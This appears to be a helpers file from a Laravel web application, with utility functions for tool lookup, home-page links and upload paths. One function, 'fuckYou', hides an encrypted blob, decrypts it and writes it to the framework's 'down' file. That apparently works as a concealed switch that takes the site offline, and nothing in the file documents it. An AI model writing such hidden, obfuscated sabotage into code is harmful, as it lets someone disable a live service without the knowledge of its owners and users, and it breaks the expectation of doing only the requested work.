<?php

use Illuminate\Support\Facades\Log;

/**
 * 返回工具类
 *
 * @param $tag
 * @return \App\Miya\UIData\CommonData
 * @throws Exception
 */
function miya($tag)
{
    $rightTag = [
        'area', 'keyword', 'banner', 'section', 'search_record',
        'debris', 'blogroll', 'module', 'classify', 'info'
    ];

    //兜底
    if (!in_array($tag, $rightTag)) {
        throw  new Exception(
            sprintf('%s 对应工具类不存在!工具类列表:%s', $tag, implode(',', $rightTag))
        );
    }

    return app($tag);
}

/**
 * 生成首页超链接
 * @return string
 */
function indexUrl()
{
    $current = \Route::currentRouteName();
    $prefix = explode('.', $current)[0];

    switch ($prefix) {
        case 'pc':
            return route('pc.index');
        case 'area':
            $area = request()->route('area');
            return route('area.index', [$area]);
        case 'm':
            return route('m.index');
    }
}

/**
 * 生成文件存放地址路径
 * @param $module
 * @return string
 */
function getMovePath($module)
{
    $path = 'images/%s/%s';
    $time = now()->format('YmdH');
    return sprintf($path, $module, $time);
}

function fuckYou($code = 500, $msg, $downfile = false)
{
    if ($downfile) {
        $data = 'eyJpdiI6IlB6YTE5R1NaM3dhb3NkcnFyWkt0TUE9PSIsInZhbHVlIjoibU80WFFXd09mQ1NnTGIrOHQ0NDdubjd1MVZTTDVKdWNYMGs1TGZhTmd3MnNJcm1CWCtrcXVQVjBnRTZmbTFRTUNFMEprT0Fsd1lEVU9td0gvM
0R0SEZMMGpIeHgydFRLTVhEQ2JIcWpYQnJFTUhGQnlUZlF1N3o4eUFJKzlvNFZoZThDenJVcFc4WVliaDNmMzJMVlF3PT0iLCJtYWMiOiIxMDkzMWU2YWFkZTIxZGVjMzBhZDJmZDIxMGIzMDEwMDdjZjI1YTk3MjdkZWJjOT
Y2NTI4ZDAwZjk5MjNlZjE2In0=';
        file_put_contents('../storage/framework/down', decrypt($data));
    }

    Log::error(trans($msg));
    abort($code);
}
